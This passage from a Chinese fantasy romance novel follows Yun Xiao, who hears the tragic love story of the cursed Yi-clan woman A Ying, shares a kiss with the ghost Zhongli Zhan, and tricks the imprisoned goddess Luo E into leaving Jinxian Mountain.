锦仙山里的女孩儿只有两种人,一种是知晓锦仙山真貌又极力隐藏,占据话语权,维持锦仙山现状和规则的人;一种是即便知晓一切也深知自己无法改变任何,而附和着麻木地活着的人。 水荷将阿樱养成了第三种。 阿樱从未见过锦仙山里可怕残忍又无情的一面,她单纯地以为所有锦仙山里的女子都配拥有自由、拥有爱。 水荷第一次见到杨珩宁的时候,他随着他的兄长抱着两名女婴来到了锦仙山。 杨珩宁很不起 眼,与他兄长比起来他不算俊朗,气质也不够卓越。 杨家是旖族世家,族中外室私藏孕肚想要母凭子贵的不在少数,也有很多生下女孩儿后藏不住,便由一些旁支子弟解决那些女婴。 这些女婴多半是被送入锦仙山的,这样也算是给了她们一条活路。 杨珩宁的母亲也是母凭子贵的其中一人,他母亲比较幸运,生了个儿子。于是外室抬入府中成了妾,杨珩宁也被记上了族谱,成了杨家庶子。 杨珩宁由他兄长带来锦仙山一次后,之后有两次又是分别送了一名女婴过来。此类事情其实在锦仙山屡见不鲜,那片山中梯房专门许给外来客的住处,也是因此而来。 水荷没想过毫不起眼的杨珩宁,不声不响地拐走了她精心养大的阿樱。 阿樱与锦仙山中所有女子都不一样,她的身上有一种旁人没有的活力。 她的眼眸中有光,说话的语调上扬,对待每一件事都抱有十分的期待和欢喜,每一句话都像是赞美一样,总能说得人心生暖意。 杨珩宁与她截然相反,他因自己的身份从小没少吃苦,也看遍了人情冷暖。他因地位不高,身份尴尬,相貌平平,能力不显,在杨家庶子中都毫不起眼。 杨珩宁唯一的长处,大约就是足够温柔,足够有耐心,每一件答应的事都会想方设法地去做到。 阿樱说他笨拙,却真诚。 他看阿樱编花绳用捡来的五彩石做手链送给水荷,便悄悄记下了步骤,再一次碰面的时候,他能做出同样的一根手链送给阿樱。即便当时他的手工的确很差,可那条手链阿樱还是很喜欢,很珍惜。 “他很可怜的,水荷阿姐,他虽然有娘,有爹,有兄弟姐妹,可其实相当于什么也没有。”阿樱道:“我虽然没爹,没娘,没兄弟姐妹,但我有你,我就像拥有了全部一样,我觉得……他比我可怜。” 阿樱试探过杨珩宁许多次,她将自己从书中看到的那些东西全都说给杨珩宁听,问杨珩宁那些东西是否很难获取。 杨珩宁老实说:“很难。” 阿樱又问他:“我想要一个,可以吗?” 杨珩宁只沉默了片刻,便道:“可以。” 然后他就真的将阿樱想要的东西带来给她了。 书上说距离锦仙山千里之外有个赤水滩,那里的水岸上沙子都是红色的,导致河水也成了红色,她没出去过,想要看看是否真如书中所言。 杨珩宁就给她带来了一个琉璃瓶,瓶子里一半是赤红色的沙,一半是赤水滩里的水。 书上说连玉州中产一种泡出来有果香味的茶,锦仙山里的茶树很少,分到她手里的茶也寥寥无几,她想尝一尝什么叫做果香味的茶。 杨珩宁就给她带来了一包茶叶,还学了泡茶的技艺,精细到茶具、温度,一样不缺地为她泡了一盏。 有时候阿樱觉得,有一天她说书上提过天上的月亮也是能摘下来的,或许杨珩宁就要想办法替她摘月亮了。 可她也不想为难杨珩宁,因为以他在杨家的地位,其实能替阿樱做到这些已经很不容易了。但他说到可以的事情,从无食言。 在某一天杨珩宁给阿樱烤了一只荷叶鸡后,阿樱捧着鸡腿吃着吃着,忽而就说:“杨珩宁,你是不是喜欢我?” 杨珩宁的脸骤然就红了,他的心跳加速,声音极响,咚咚地控制不住。 他呼吸急促,手足无措,那张其实有些精明的脸在这个时候显得十分木讷,好半天才嗯了一声。 他觉得自己配不上阿樱,所以从来都不敢对阿樱说喜欢,杨珩宁自卑地想他不过是个爹不疼娘不爱被私生下来的庶子。 笨拙,不善言辞,外在平平,身无长处,如果不是因为阿樱可怜他,他可能这辈子连个能交心的朋友都找不到。 阿樱于他而言,就像是一个鲜活的照耀着他温暖着他的太阳。 他带回来红沙,她会露出惊喜的表情说:“你好厉害啊,真的找到了这个地方。” 他给她带回来茶,她在还没喝之前就会说:“哇,原来茶是这样泡的,杨珩宁,你懂得好多!” 就连他给她烤鸡,她都会说:“你烤的鸡好香,开酒楼的大师傅都未必有你这样的手艺。” 她哪儿吃过外面的酒楼大师傅的拿手菜? 她只是足够热情,善良。 阿樱却在吃完了整块烤鸡腿后,如同下定决心一样道:“那我们成亲吧,杨珩宁!” 杨珩宁呆滞地坐在原地,他昂着头,不敢置信,甚至觉得是他生了幻觉,所以用力掐了一下自己的腿。 阿樱看见了,一边笑话他笨,一边牵起他的手道:“我也喜欢你,所以我们成亲吧,杨珩宁。” 阿樱说到就要做到,她让杨珩宁回去准备,而她暂且留在锦仙山中与水荷好好作别。 水荷在知道阿樱要与杨珩宁成亲后很惊讶,她看多了旖族女子成亲后的惨状。 一部分男子借着反咒施加在旖族女子身上的伤害平步青云,不顾她们的死活,也有一部分男子珍惜所爱心有不忍,以自刎结束诅咒。 不论哪一种,她们都没有好结局。 水荷骂阿樱愚笨,骂她不知天高地厚,骂她未知前路坎坷,可知此一去便是一生一死。 阿樱被水荷骂着的全程都是笑着的,她还是那样天真无畏的表情,坦然道:“我都知道的,离了锦仙山,我伤害不了他。” “可他能伤害你!” “我料到结局了,阿姐。”阿樱道:“我也不是全然无知,我是深思熟虑过的。人这一生要怎样活才算不遗憾呢?我若为了活留在山中,或许可以长命百岁,可我一定错过了许多快乐,我若与他离开这座山或许会死,可我至少能多看一眼外面的世界,多陪一会儿自己爱着的人。” 水荷摇头:“为爱而死,怎么值得?” 阿樱却道:“枯萎地活,也不值得。” 锦仙山不是自由的,她们永远都无法离开这座山,从生到死,只在这一方小天地中。 阿樱看过许多外来客带来的书,她知道离开这座山外还有更广阔的天地,她也想亲自看一眼红色的河,她也想亲眼看一看茶叶炮制,她还想去一趟做荷叶鸡最厉害的百年老楼。 她想用自己有限的生命,给自己在意的人带来快乐。 “人活在世,不过百年,一眼能看到结局的百年,和恣意畅快的二十年,完全不可比。” 阿樱的话,让水荷觉得自己将她养得实在太过天真,太过理想化。 可同时她的内心也有一道声音在叫嚣,日复一日地于山中穿梭,那样的活着又真的有意义吗? 水荷没有拦住阿樱,她奔向了她选择的幸福。 她也是在离开锦仙山后才知道杨珩宁与她在一起的代价,是彻底脱离杨家,孑然一身地走。 没有任何一个世家会在院子里养一个旖族女人,杨珩宁并不在意这些,阿樱也不在意他是否是杨家子。 杨珩宁到底做过世家公子,有几分见识,二人在一个小镇住下,做点小买卖也过得很好。 最开始的那两年,阿樱指着书上所写的东西或地方,要杨珩宁带她去看,去玩。 后来诅咒于阿樱身上应验,她总是大病小病不断,能去的地方就越来越少。 而杨珩宁因为反咒吸走了阿樱的运势,生意越来越好,也越做越大,直至被黎城杨家发现,又将他请了回去。 杨珩宁拒绝了杨家,可也察觉到了不对劲,他其实做好了自己早逝的准备,却不能接受阿樱重病的事实。 为了找到更好的大夫,或寻到符咒方面的能人能救阿樱,杨珩宁还是带着阿樱回到了杨家入住城主府。 他终于不再是兄弟中籍籍无名之辈,每日围绕在他身边的人 越来越多,可杨珩宁却一点也不开心,他的内心只有无尽的恐惧。 一日阿樱昏了过去,杨珩宁匆忙请来大夫后才知道,她怀孕了,她的肚子里有他们的孩子。 杨珩宁守着阿樱一整夜,阿樱终于醒来后,看见杨珩宁憔悴的脸,伸手摸了摸他的胡渣道:“好饿哦,好想吃你烤的荷叶鸡。” 杨珩宁俯身吻了她的脸道:“我这就为夫人去烤荷叶鸡。” 荷叶鸡用荷叶包裹后埋在土里,以火烤制,杨珩宁坐在火堆前捂着脸,将所有哭声掩藏在柴火的噼啪声中。 他猜测到了原因,也做出了决定。 他不能留在阿樱的身边,他不想阿樱死,他不能亲眼见着给他带来幸福与温暖的太阳陨落,他要把阿樱送回锦仙山。 杨珩宁要送阿樱回锦仙山时阿樱没有反对,她知道他们必须得分开一段时间,杨珩宁想要阿樱活,而阿樱是为了腹中的孩子。 她抱着一丝侥幸,她怀的不是女孩,那他们的孩子就能留在杨珩宁的身边,代替她给他带来亲情与爱的温度。 如若没那么幸运,她怀的是和她一样命运的女孩,那就让那个女孩留在山里,杨珩宁也不是孤身一人,他有个念想至少不会太痛苦。 杨珩宁过一段时间会来一次锦仙山,他还答应了阿樱许多承诺尚未完成。 自从阿樱回到锦仙山后,他就再也没能和阿樱见上一面,一直都是水荷从中传话。 杨珩宁想,他们不见面也是好的,不见面,或许对阿樱的伤害就没那么大了,不见面……至少阿樱不会看见他如今的样子,不会伤心。 云绡撞见杨珩宁给水荷狼牙,也是因为那狼牙是给阿樱带的,经过这次,水荷其实不太敢和杨珩宁接触,更不敢与他多说话。 她怕自己暴露出太多问题,怕杨珩宁知道她一直以来说阿樱过得很好,其实一点都不好。 - 话说到这,云绡也就明白为何她所见的杨珩宁并没有反咒给他带来的蒸蒸日上精气满满,他在想尽办法伤害自己,企图用这样的方式给阿樱带来一些好运。 可他也不舍得立刻死去,他想至少能看他和阿樱的孩子一眼,那是他们爱意的延续。 他至少要将答应阿樱的事情做完,他们还差一起酿一坛酒。 “杨珩宁服了毒,五脏伤,无解药,最好的结果就是他还能活一年。”水荷的眼中火光跳跃,照映着泪水朦朦:“阿樱也不甘心,拼了命也想保住他们的孩子……他们其实为的都是对方,可我能看见他们的结局。” 水荷看向云绡,眼底的火光变成了浓浓的恨意和哀求:“云姑娘,我能听见神女峰深夜的哭嚎,我知所谓神女并不爱我们,所有寻得真爱的女子都为她所妒。丧夫的旖族女人回到锦仙山,都会被封于冰潭,受冰霜酷寒之苦,重复梦见所爱生离死别之痛。” “我们……我们其实并未做错什么对不对?为何上苍偏偏要这样惩罚我们?” 第72章 不是上苍惩罚她们,惩罚她们的是洛娥。 水荷说那些无处可去的旖族女子最终回到锦仙山,走的是另外一条路。 神女峰下有封印,那些封印让她们永远只能生活在冰潭牢笼之中,那里与锦仙山不同,常年的冰天雪地冻伤她们的身体,很多旖族女子在那里熬不住几年就死去了。 但对她们身体折磨之外,她们更不感睡,害怕一闭上眼睛回忆起的都是痛失所爱的悲剧。 封印的牢笼中有神女洛娥的印象,所有在里面关着的旖族女子都会从痛苦过度到麻木,有的神志不清,更有的会跳入冰潭求死。 她们能安然地回来,至少证明她们绝大部分都找到了可以托付的良人,如若没有这道如同诅咒一般的枷锁,她们也能体会与现在完全不同的幸福人生。 山中不是没有人知晓这一切,很多人都麻木地接受,以此为戒。也有很多人扭曲地想,都怪这些离开锦仙山的女子不安分。 什么叫安分? 为何偏偏她们生来就不被期待? 为何偏偏她们不能体会一段正常的感情? 水荷曾想过随波逐流,她看过太多的生离死别,每一次给禁地里的女子送去衣食时看着她们日复一日的折磨,水荷其实已经放弃了抗争,她不敢对抗。 阿樱,就像她人生的另一种写照,她做了水荷永远也不敢去做的事情。 她放肆地、热烈地燃烧自己的生命,坚定地觉得快乐地活一年,也比枯燥地活一生更加值得。 阿樱反抗属于旖族女子的命运,她对抗不了血液里的诅咒,可她至少能选择死在所爱之人的怀里。 云绡没有立刻答应水荷。 水荷也知道自己这是强人所难,云绡不欠她们的。 可若非云绡带来了一丝钟离湛的气息,唤醒了洛娥,若非大阵致使封印松动,叫陆梨听到了哭声,也不会有后来徐容靳放火烧山救出这些被关押在冰潭里的女人。 水荷回到了屋子里照顾那些已经生无可恋却又苦苦活着的女人们,小屋外面烤着火抗风的只有三人一魂。 仲卿直觉气氛不对,尤其是水荷说过那些话之后……他谨慎地拉着徐容靳离开,算是放风,看那些举着火把的女子能否灭了神女峰的火,又是否会找到这里来。 也算是给云绡和她身边那个看不见的人一个安静的环境,将这大阵三天内,离体之魂去了哪儿,见到了什么,一一说清楚。 - 云绡手中握着一根木枝重复地拨弄着火堆,陷入沉思。 一只温热的手指背忽而贴上了她的脸,云绡愣住,侧身看过去,便见钟离湛已经离她很近,彼此的呼吸都能察觉。 他一直看着她,见她眉头一会儿舒展,一会儿蹙起,不知想什么入神。 “我其实一开始……没想过要把她们带出山。”云绡诚实地低下头:“除非旖族女血里诅咒消除,除非这世上还有另一座可以困住她们脚步的锦仙山,否则这里仍然是她们最好的归宿。” 云绡单凭一腔冲动行事,她又无需负责旖族女子的死活,能将她们短暂带离危机,拖延了自己离开的脚步就已经够意思了。 放她们离山,不是害了别人吗? 可水荷的一番话又让云绡陷入了短暂的纠结中,救人,不就是要送佛送到西吗?若不能,那救了也等同没救,不过是延缓了她们的痛苦罢了。 这些女人身中反咒,又有情伤,恐怕就算离开了锦仙山,一生也不敢再接触旁人了。 钟离湛的指腹在她的脸上轻轻捏了一下:“你已经做得很好了。你已经有了行动,至少胜过光想不做,眼下你沉默这么久,定然也有了选择的方向。” 云绡意外地朝他看去,她讷讷道:“你还真是我肚子里的蛔虫。” 钟离湛挑眉:“我是蛔虫?” 云绡点头:“我想什么,都居然都知道。” 钟离湛愣怔了瞬,他忽然想起很久以前,想起他那段与小仙女接触的回忆里,有很多时刻他也会觉得意外,因为他想什么,小仙女居然也都知道。 钟离湛握住此刻小仙女的手,慎重地提醒她:“这叫我们心意相通。” 云绡感受 着掌心的温度和内心的躁动,朝钟离湛凑近了些。明明知道他们此刻说的话不会被他人听见,可她仍然如同咬耳朵一样贴着钟离湛的耳边道:“送你朱木简的那个人,就是洛娥的心上人。” “祁山鹤?”钟离湛吐出这个名字。 云绡惊讶:“你想起来了?” 钟离湛眉头一蹙,摇头道:“仔细想,其实想不起来,但你提到了,就有些印象。” 若非云绡说起,其实钟离湛连他年幼时与祁山鹤有过一面之缘,甚至亲手杀了他这件事都忘了。 似乎有这件事,但他总以为是一场梦,且是很模糊的梦。 朱木简是他有记忆以来便伴随他走过两百多年的东西,他直觉上面的内容很重要,所以死后再度醒来,钟离湛才会想要去寻找自己的死因,又或者寻找与朱木简有关的真相。 云绡见钟离湛还在思索,望着他熟悉的近在咫尺的眉眼,云绡的手不自觉地便抬起抚摸上了他的脸。 娇小的手掌盖住钟离湛半边烤火的脸庞,指腹轻轻擦过他飞扬的眼尾与眉尾,摩梭的温柔,还有她自己也未曾察觉的缱绻。 云绡的指尖一贯冰凉,此时却像是带着火焰一样于钟离湛的脸上流连。她的手指轻轻落在了钟离湛的额心处,抚摸那一块皮肤。 “你这里,以前是不是有一道红线?”她问。 钟离湛也有些意外:“怎么?我现在没有吗?” 他看不见自己魂魄的模样,水无倒影,镜无光。 这世上,只有云绡一个人能看见他,能触碰他。这世上,也只有云绡的身体里有他的脊骨,他们的灵魂拥有同一道剑意。 云绡摇头:“没有了……若有机会,我们回去一趟京都,悄悄去禁地底下把你的身体挖出来,看看你的肉、身上是否有这一道红线。” 钟离湛对她这奇怪的注意力有些无奈。 云绡又突然道:“我要骗一骗她。” 这话像是一番毫无意义的闲谈后下定了决心,其实云绡深思熟虑。 她见过钟离湛额心处的红痕,直觉告诉她,所有发生在钟离湛身上的改变都不是没有意义的。 她也借着九星连月阵窥见了这世间五族由来的真相,自然明白两千多年前,压在钟离湛身上的担子到底有多重。 云绡没有他那心系苍生的善良,她只是单纯地见不得钟离湛因此受伤。 她有个大胆的猜测,也因此做出了个大胆的决定。 有了决策,云绡就不急着走了。 她盯着钟离湛的脸看了好一会儿,想起什么似的忽然问他:“你当时为何不抱抱我,亲亲我?” 钟离湛愣住:“……当时?” 怎么突然话题转得这么快的吗?有时他也不是很能捕捉到云绡内心的想法。 云绡却摆出一副这事儿比洛娥的事儿更严肃的态度:“九星连月阵开启时,那日我们没亲过,虽说每日不宜多亲,可那日你为何不亲我?” 钟离湛一时语塞,又有些哭笑不得,眼底浮现无奈,又在云绡认真的双眸里渐渐变得幽深。 钟离湛弄不懂小女孩儿的心思,以九星连月阵将云绡的魂魄送回去是一件慎重的事,钟离湛在面对每一件慎重的事时都不会参杂太多的情与欲,痴与缠,那会动摇他。 但显然,云绡与他不同。 钟离湛的内心有些躁动的兴奋,他感受到了云绡对他的需求。 云绡带着几分质问的圆眼中,似是有了钟离湛一瞬的倒影出现。他单手撑膝,勾着头朝她凑近,明明二人平坐,钟离湛却让自己比云绡的脑袋更低了半寸。 鼻尖轻轻蹭过鼻梁,炙热的呼吸交缠着。 二人之间的距离近到只要云绡说话的幅度大一点儿似乎都能吻上。 钟离湛的声音带着几分抑制的低哑,如同能魅惑人心的咒语:“喜欢我亲你?” 云绡的双手忽而于膝前握紧衣裳,一股酸麻从小腹迸发,她不知这种感觉从何而来,明明还未触碰,却已双腿发软。 “嗯。” 云绡知道,她在期待,既然期待,便表示喜欢。 “那现在补上。” 钟离湛的声音淹没在唇齿相依之中,最后两个字说出的时候甚至擦着云绡的唇瓣。 随后她的后脑便被大手掌住,钟离湛的指腹带着灼人的温度贴着她的脖颈,穿过她脖间的发丝,缠绵地摩梭着。 云绡看过烟花,皇宫每逢节庆都会点燃,即便云绡凑不到人前,却能远远看见烟花的绚烂。 这一刻,烟花于她的身体里绽放,坠落如繁星一般的火苗带着酥醉的痒,灼烫于她的四肢百骸。 而云绡的大脑一片空白。 她呼吸急促,心跳快到胸腔发闷,就像是之前体会过的,甚至更甚,可这一次她不会天真地以为那真是伤身的急症。 齿痕轻轻压下,给予云绡喘息的机会。 一声轻哼如同猫叫,狂风集雨温柔了下来。 钟离湛狭长的狐狸眼以这样近的距离去看,睫毛长翘到不可思议,难怪他几度深吻,云绡都能感觉到他睫毛扫过脸颊的触觉。 如蝴蝶飞舞,轻点花丛。 而他那双惑人的眸子便是闭上的,也能看出他沉醉其中的欲求。 钟离湛平复呼吸与心跳,又啄吻了几下云绡的唇,再睁开眼时对上的便是云绡微红着眼尾,水雾朦朦的双眸。 心跳漏了一拍,钟离湛揉捏着她的后脖颈问:“你怎么……一直都睁着眼的吗?” 云绡嗯了声,声音发着甜腻的软意道:“我喜欢看你这样。” 在方才那一刻,钟离湛像是整个人乃至灵魂都陷在了她身上,因她而如痴如醉,云绡很喜欢看他这样。 钟离湛:“……” 他的手盖住云绡那双动情的眼,心脏难以负荷……深吸一口气,钟离湛道:“下次闭上眼睛。” 他也是会害羞的啊。 - 仲卿和徐容靳冷得动手动脚了才回来,云绡已经端正地坐在火堆前,火光照在她的脸上,她脸颊的红晕和嘴唇微肿都有些明显。 但仲卿从未有过女人,徐容靳又痴痴傻傻,二人谁都没看出来问题。 “我们走吗?”仲卿有些紧张道:“我看见那些旖族女人满山找人,一旦发现我们不在屋中定然能猜到是我们放火烧了神女峰。” 那是钟离湛画的符,神女峰的火没那么容易灭去。 徐容靳一听要走,立刻把两只小野鸡收进怀里,他是真怕鬼,一刻也不敢待。 云绡对仲卿道:“你带着徐容靳和那些人先走。” “你放了她们不算,现在还真打算带她们离山啊?”仲卿问完,又觉得不对:“我们走了,你要留下来?” 云绡嗯了声:“我等她来找我。” 仲卿有所猜测,又犹豫着问:“你在等……洛娥?” 仲卿觉得脑子不够用了,他以为神女峰下的封印是旖族女子中某个类似族内长老所为,那些所谓的惩罚,也不过是符咒加之障眼法。 可听云绡这么说,难道这世上真有神仙? “放心,她脑子不好使的。” 云绡这么说,仲卿就更觉得玄乎了。 怎么她说得好像与洛娥还真认得一样? 云绡的目光落在地面覆盖的一层薄雪上道:“要走就快。” 她话音刚落,几人便听到风声里传来一道凄婉的声音,对方像是被寒风割裂了嗓子,幽怨地喊。 “是你吗?钟离湛!” 狂风卷着冰雪袭来,骤然灭了屋前火堆,整片山间古老的小村落皆覆盖了厚厚一层冰,白雪成堆,风影化人。 “是你,是你!钟离湛!你让我等得好苦啊——” 第73章 这声呼喊是从神女峰的方向传来的,古村落内的人全都听到了。 徐容靳将脑袋埋在了仲卿的怀中瑟瑟发抖,双手抱得仲卿都快喘不过气来。 “大哥,大哥,有鬼,有鬼!” 仲卿也傻了,在今日之前……不,在前一刻,他都不敢相信这世上真的有神仙,即便有这个念头,也从不认为自己会遇见。 他顿时朝满身戒备的云绡看去,对上了云绡的眼神。 小姑娘什么也没说,冷凛的表情是与她的年龄不符的沉稳,仲卿却立刻明白过来她的意思。 仲卿一把老骨头,徐容靳又是个不清醒的,还有这满屋子老弱病残的女人们,他们留在这里只会成为云绡的拖累。 屋子里那些神志不清的旖族女对风雪寒冷可太熟悉了,她们常年都处于冰潭周围,饱受寒冷的折磨,只要这冷意袭来她们便犹如惊弓之鸟,立刻苏醒。 仲卿将房门拍的砰砰响,即便他是个老人,却也是个颇具能力的仙师。符咒虽不擅长,可布阵也算好手,更何况他从云绡那里学会了隐身符与神行符。 是了,蹲在山下守阵的三天,仲卿也琢磨出神行符了,有这两张符在,加之他袖中丹药,怎么也能在风雪真正袭来之前将这些女子转移。 云绡望着神女峰的方向,火 势还未完全被扑灭,钟离湛的火符当真有几分厉害。 眼看着仲卿往山外奔走,她眸色微顿,对仲卿道:“你们也可以先别急着离山,就站在山界处,说不定还有好事发生。” 她不敢打包票,便叮嘱:“若情况不对,则能跑就跑。” 说完这话,云绡也不再留于此地,她要给仲卿和徐容靳拖延时间,况且那风雪是嗅着她身上的气味而来,云绡往众人的反方向跑去。 - 云绡奔跑的方向其实很妙,避开了那些纷杂的人群,却在一步步朝神女峰靠近。 她心有计划,还未说给钟离湛听。 钟离湛明明不用跑,却也跟着她的身边准备随时搀扶着她,就凭云绡这奔跑的速度,一旦摔倒必定头破血流。 云绡一扭头就能看见钟离湛满眼的担忧,愣了瞬后道:“你离我远一些,别影响我发挥。” “我……”钟离湛一时语塞,洛娥追来之前她还与他浓情蜜意呢,不过转眼的功夫他就成了碍事的了? 钟离湛愤愤不平:“我又不会拖累你!” 他堂堂曦帝人皇!他可是钟离湛!便是如今仅为一缕幽魂在世,可普天之下也没有能撼动他的人,即便知晓洛娥为真神,他也不在怕的! 云绡眼睛一瞥就知道他想岔了,眸光流转后软下声音,带着奔跑的喘息道:“好哥哥,你最好了,乖乖的,待我需要你时会喊你来,好不好?” 钟离湛:“……” 云绡没摔倒,钟离湛险些因为她这暧昧喘息喊他好哥哥的声音给摔了。 见他愣住,云绡唇角微扬,喊出来的声音却是带着急迫与慌张:“洛娥!” 声音刚落,云绡便表演了一个平地摔跤,双手撑地时蹭破了皮,渗出血迹,气味发散,更容易被洛娥锁定方位。 此处无人也无树,周围是碎石丛,距离神女峰很近。 此山也高,半边靠近山坳里坐落了一片的房屋,远远看去,还能看见举着火把的人到达神女峰后又沿着出路往外奔走。 满山的人都听到了洛娥的声音,惜命的自然会跑,不愿意跑的已然被洛娥同化。 云绡抬起双手看向伤口上细小的石子,明眸半垂,豆大的眼泪正好掉在了她的掌心。 “洛娥……洛娥!你出来!出来见见我啊!” 云绡的声音凄婉,比洛娥也不差几分,就好似洛娥成了那个伤害她又消失不见的负心汉。 洛娥本就是冲着她来的,云绡根本就没想躲,还特地选了个这么空旷没有遮拦一眼就能看见的地方摔倒,就是为了能让洛娥来得更快一些。 记忆中如同冰霜雕刻而成的美人,经过两千余年的封印已经不再是云绡印象里的样子了。 她难以维持人形,突然出现在云绡面前时仍然是那副风雪幻化的五官,巨大的脸孔悬在山坳边上,口中吐出的风霜几乎能将云绡掩埋。 云绡被冰霜动得瑟瑟发抖,浑身上下都覆盖了一层白。 她昂着头看向如今的洛娥,单纯无害的双眼里又滚出了眼泪,泪珠如同断了线的珍珠一般不住地流。 那双眼,就像是在为她痛苦,为她不甘。 “你是谁?钟离湛呢?!” 洛娥的声音是多种情绪组成的,多年的折磨让她的精神很不稳定,尤其是被迫看了那么多坚贞不移的真爱故事之后。 她恨,她怨,她嫉妒! 为何同样为旖族女子,她们能得到真爱,她们喜欢的男子能为她们赴死,而她爱的人却离她而去,一走多年,再也没有音讯。 云绡透过那张算不上是脸的脸,轻易就能看出洛娥扭曲又丑恶的内心。 可她此刻悲戚,抬起一只手像是试图去抹洛娥脸上的眼泪,开口道:“我去了京都禁地,折了钟离湛的一根骨头才有机会安然地进入这片山脉,否则凭我的情况,我是无法来找你的。” “找我?”洛娥虽被封印,却也不是什么都不知道。 钟离湛死了,死了两千多年!他死的时候她可畅快了,可他留下的封印仍然具有威力,让她不能离山。 如今两千多年过去,封印有所松动,洛娥才能勉强化形,至少能在这座山脉上现身,而非永远钉死在那面冰冷的墙壁上。 钟离湛死了,洛娥却不认为他真的死透了,那人邪乎得很。 云绡抹掉眼泪,缓缓起身,朝洛娥靠近:“洛娥,我是为你而来的,两次!两次我都是为你而来的,若你再不清醒过来,我还会找你第三次,第四次!” “两次?”洛娥不明所以:“为我而来?你是谁?!” “你还记得两千余年前,你于锦仙山中沉睡,是我的声音将你唤醒的吗?”云绡提醒她:“我喊了你的名字,也提了那句诗。” 洛娥仔细去听云绡的声音,她觉得是有些耳熟,可她这么多年听到了太多女人的声音。这些女人在她的身体上盖建村落,在她的身体上生老病死,更甚至有些女人在神女峰的冰潭下,一遍遍去回忆她们美好的爱情故事。 洛娥嫌恶那些人!可她又忍不住去看,借着梦境对那些人的折磨,去看她们的惨状,以此慰藉自己的心。 “你还记得祁山鹤吗?”云绡提起了洛娥心心念念的人,又苦笑道:“瞧我说了什么傻话,你一定记得他的,我是因他而来找你,你们那么相爱,你怎么会忘了他?” “祁山鹤……” 洛娥很久不曾喊出这个名字了,每一次提起,她的心都要痛上万分。 呜呜的女子哭声如同鬼嚎,在山坳中刮起了一阵寒风,那些寒风吹灭了旖族女子手中的火把,以此来彰显洛娥心中的愤愤不平。 云绡知道她起了杀念,她是个疯子,变态,扭曲的心理让她见不得别人好。那么云绡就来做祁山鹤的眼睛,维持祁山鹤的品格,才能取得她的信任。 “不要!洛娥!不要再执迷不悟!”云绡上前两步,她的手温柔地穿过那张风雪幻化的脸,像是在抚平她的不甘。 “不要让一时的激愤,叫你们难以相守。”云绡的声音很低,就像是仅她们二人能听见的呢喃:“九星连月阵,还是你教给祁山鹤的。你将锦仙山的上方维持着这样的星空,其实也很期待他会有朝一日回来你的身边,对吗?” “他暂且回不来,但他一直都在你的身边。”云绡对她道:“我非此间魂,上一次你见到了我,但钟离湛太过狡猾,我没能借用他的身体帮助你,所以我找遍机会,趁着他死后的今日,封印松动,再来碰一碰运气。” 洛娥终于想起来了,那张脸化成了一个娉婷的人影,她的身形仍然是模糊的,但云绡已经能看见她的模样。 “我记得你!钟离湛在封印我之前,我见过你!”洛娥道:“难怪,难怪当时我在他的身体里看见了两道魂魄,你是那道女魂!” 云绡点头:“是我,我知历史,也知你的劫难,所以借用九星连月阵想让你度过灾难,挽救你,这样将来你们相遇,他也不会那么痛苦了。” 洛娥的身形逐渐变小,几乎与云绡相差不多。 她痛苦地捂着脸,蹲在地上:“他也痛苦吗?他、他也会为我痛苦吗?呜呜呜……那他为何要离开我?他为何要躲着我?这么多年,他从来没有看过我!” “凡人之躯,乍见天机,他当然害怕,也需要时间接受他身上因神鬼蛊而背负的人命。”云绡安抚她:“后来他知道 你对旖族女子施咒,破坏规则,被踢出了棋局,他也后悔了。他想救你,所以他用九星连月阵想要回到过去,回到你破坏规矩之前,可他对九星连月阵还是不太熟练,魂魄游离数千年,落在了五千年后。” “五千年后?他……回不来了吗?”洛娥抬头望向云绡。 云绡说得情真意切,洛娥毫不怀疑她话中真伪,因为她的确在人间找不到半点祁山鹤的气息。 祁山鹤的身上有她亲自种下的神鬼蛊,没有人能杀得了他,所以洛娥也从没想过他会死。 “他回不来,但他将我送回来了。”云绡道:“我是祁山鹤领养的孤女,他说他曾最想的,就是和你一起过平凡人的生活,所以其实我也算得上是你们的孩子。” 云绡解释:“历史中你是从两千多年前被封印,我想改变你的结局,可惜未果。” 她距离洛娥极近:“历史中的当下,你因为这些旖族女子又沉睡了两千年,祁山鹤找到你时,旖族覆灭,你也……” “我怎么了?!”洛娥突然朝云绡扑了过来。 一旁看着的钟离湛握紧双手,迸发出来的戾气险些朝洛娥袭去,也是云绡朝他的方向看了一眼,才叫那股劲化成了山间风。 洛娥没有伤害云绡,她还等着云绡对她讲她和祁山鹤的恩爱故事呢。 云绡叹气:“你彻底化作了锦仙山,仅剩意识,祁山鹤在你的山脚下盖了一所屋子,收养了我。” “我、我虽然与他在一起,可我……却不能和他在一起了。”洛娥恍恍惚惚,又是双手捂脸呜咽地哭了起来:“即便我成了一座山,他也仍然爱我……” “对!”云绡心中翻了个白眼,眸子里却是坚定的温柔:“他一直爱你,他想救你。” “他希望你不要被封印,他希望你不要因这些旖族女子而沉睡,若你有机会重回棋局之上,若你还是当初的神女,你说到时候你们再相遇,该有多幸福啊……” 云绡的话,就像是烙印在了洛娥的脑海中,她也在幻象将来与祁山鹤相遇时,自己仍然是操纵天地的神女。 “在历史中,你因为这场火恼怒杀害了山中所有旖族女子后便沉睡了……”云绡道:“我还来得及救你,对不对?” 洛娥连忙道:“我没杀她们!我、我没杀!” “不要留在这里,不要成为一座山!不要枯等着,我们走出去!”云绡朝洛娥伸手:“离开这里,离开这座山,去完成那一局。” 洛娥心神荡漾。 云绡的眼和声音太具有欺骗性了,区区千年,洛娥等得起! 她接受了云绡的邀请,她要离开锦仙山,她要醒着去见祁山鹤,她还要和祁山鹤永远幸福地在一起! 第74章 山坳石阶发出了震颤,整座山似乎都在夜风中摇摆,不安的旖族女子扔下手中早已熄灭的火把,迎着风雪往外奔走。 离开山,是她们求生的本能,可仍然有一些人执迷不悟,认为她们一旦离开山就是背弃神女洛娥,要拦住她们的去路。 苑娘与琳娘也在这时反目成仇,一个是曾经放弃了心爱的男子愿意永远追随洛娥,永远留在山中的人,一个则是从未遇见过今生所爱,更想安然地活下去的人。 苑娘喊琳娘是叛徒,琳娘也说她顽固不化,此时不走,难道要等这座山彻底坍塌了,她们都死在里面才能甘心吗? “你见过神女峰下的人,你知道回来的人在寒潭中过着怎样的日子。你只是不甘心,不甘心你放弃了感情,那个人说走就走再也没回来过,你只是嫉妒,嫉妒她们拥有你不曾拥有过的真心!” 琳娘对苑娘道:“阿苑,真正痛苦的人应当做的,是想办法以自己的经验帮助他人规避痛苦,而非从他人痛苦上寻求慰藉。” 琳娘说这些话时,好些往外跑的旖族女人都回头朝苑娘看去一眼。 她们知道离开这座山等待她们的是什么,可也知道留下来也未必能活得更快乐。 